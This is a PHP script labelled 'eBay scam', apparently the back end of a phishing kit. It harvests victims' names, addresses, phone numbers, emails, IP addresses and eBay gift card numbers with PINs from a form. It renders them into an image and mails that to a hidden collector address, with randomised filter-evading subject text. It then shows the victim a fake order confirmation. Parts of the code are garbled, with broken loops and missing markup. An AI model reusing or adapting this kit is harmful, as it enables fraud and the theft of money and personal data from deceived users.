eBay scam
<?php function getUserIP() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } function spin($s){ preg_match('#\{(.+?)\}#is', $s, $m); if (empty($m)) return $s; $t = $m[1]; if (strpos($t, '{') !== false) { $t = substr($t, strrpos($t, '{') + 1);} $parts = explode("|", $t); $s = preg_replace("+\{" . preg_quote($t) . "\}+is", $parts[array_rand($parts)], $s, 1); return spin($s); } if(!empty($_POST)){ $country = $_POST['country']; $contactName = $_POST['contactName']; $contactEmail = $_POST['email']; $address1 = $_POST['address1']; $address2 = $_POST['address2']; $city = $_POST['city']; $state = $_POST['state']; $zip = $_POST['zip']; $phone = $_POST['H_PhoneNumber']; $ipaddress = getUserIP(); //$to = '[email protected]'; $to = '[email protected]'; $subject = '14JD'; // $headers = 'MIME-Version: 1.0' . "\r\n"; // $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $message = '<h1 style="text-decoration:underline;margin-bottom:50px;"15 e go</h1> fifteen eo '. $_POST['fullname'] .' Order Email: ' . $_POST['email'] .' '; $message .= 'Ship Address: '; $message .= 'Country or region: '.$country.' '; $message .= 'Contact Name: '.$contactName.' '; $message .= 'Contact Email: '.$contactEmail.' '; $message .= 'Street address: '.$address1.' '; $message .= 'Street address 2: '.$address2.' '; $message .= 'City: '.$city.' '; $message .= 'State: '.$state.' '; $message .= 'ZIP code: '.$zip.' '; $message .= 'Phone Number: '.$phone.' '; $message .= 'eBay Gift Card '; $message .= ''; $message .= ''; $message .= 'eBay Gift Card PIN'; $message .= 'Amount '; $message .= 'IP: '.$ipaddress.''; $message .= ''; $num = $_POST['num']; $amnt = $_POST['amnt']; for($i=0; $i'; $message .= ''.$num[$i].''; $message .= ''.$amnt[$i].''; $message .= ''; } } $message .= ''; $text = $message; $message = null; $img_dir = 'data/'; if(!is_dir($img_dir)){mkdir($img_dir,0777);} $file = $img_dir.md5(time()).'.jpg'; // header('Content-type: image/jpeg'); // Create Image From Existing File $jpg_image = imagecreatefromjpeg('bg.jpg'); //$jpg_image=imagecreatetruecolor(100,100); // Allocate A Color For The Text $white = imagecolorallocate($jpg_image, 255, 255, 255); $black = imagecolorallocate($jpg_image, 0, 0, 0); // Set Path to Font File $font_path = 'arial.ttf'; // Set Text to Be Printed On Image $text = "This is a sunset!"; imagettftext($jpg_image, 15, 0, 10, 30, $black, $font_path, 'Country: '.$country); imagettftext($jpg_image, 15, 0, 10, 50, $black, $font_path, 'Contact Name: '.$contactName); imagettftext($jpg_image, 15, 0, 10, 70, $black, $font_path, 'Contact Email: '.$contactEmail); imagettftext($jpg_image, 15, 0, 10, 90, $black, $font_path, 'Street address: '.$address1); imagettftext($jpg_image, 15, 0, 10, 110, $black, $font_path, 'Street address2: '.$address2); imagettftext($jpg_image, 15, 0, 10, 130, $black, $font_path, 'City: '.$city); imagettftext($jpg_image, 15, 0, 10, 150, $black, $font_path, 'State: '.$state); imagettftext($jpg_image, 15, 0, 10, 170, $black, $font_path, 'Phone Number: '.$phone); imagettftext($jpg_image, 15, 0, 10, 190, $black, $font_path, 'IP: '.$ipaddress); imagettftext($jpg_image, 15, 0, 10, 210, $black, $font_path, 'Saved Date: '.date('d/m/Y h:i a')); $height = 240; $card = 0; $num = $_POST['num']; $amnt = $_POST['amnt']; for($i=0; $i{E|e}ma{i|I}l with A{t|T|}tachm{e|E|3}nt {b|B}{y|Y} {A|a|AA}dm{i|I|1}n Pl{e|3|E|ee}ase ch{e|3|E}ck {t|T}h{e|3|E} a{t|T|tt}tacht{e|3|E}d f{1|i}l{e|3|E}'; $htmlContent = spin($htmlContent); //header for sender info $headers = "From: $fromName"." <".$from.">"; //boundary $semi_rand = md5(time()); $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x"; //headers for attachment $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\""; //multipart boundary $message = "--{$mime_boundary}\n" . "Content-Type: text/html; charset=\"UTF-8\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . $htmlContent . "\n\n"; //preparing attachment if(!empty($file) > 0){ if(is_file($file)){ $message .= "--{$mime_boundary}\n"; $fp = @fopen($file,"rb"); $data = @fread($fp,filesize($file)); @fclose($fp); $data = chunk_split(base64_encode($data)); $message .= "Content-Type: application/octet-stream; name=\"".basename($file)."\"\n" . "Content-Description: ".basename($file)."\n" . "Content-Disposition: attachment;\n" . " filename=\"".basename($file)."\"; size=".filesize($file).";\n" . "Content-Transfer-Encoding: base64\n\n" . $data . "\n\n"; } } $message .= "--{$mime_boundary}--"; $returnpath = "-f" . $from; //send email @mail($to, spin($subject), $message, $headers, $returnpath); echo '
'; echo 'alert("We have received your message. Your order is being processed,we will email you within the next 12 hours for confirmation.")'; echo ''; echo ' window.location = "index.php"'; // if(mail($to, $subject, $message, $headers)){ // echo ''; // echo 'alert("We have received your message. Your order is being processed,we will email you within the next 12 hours for confirmation.")'; // echo ''; // echo ' window.location = "index.php"'; // } } ?>









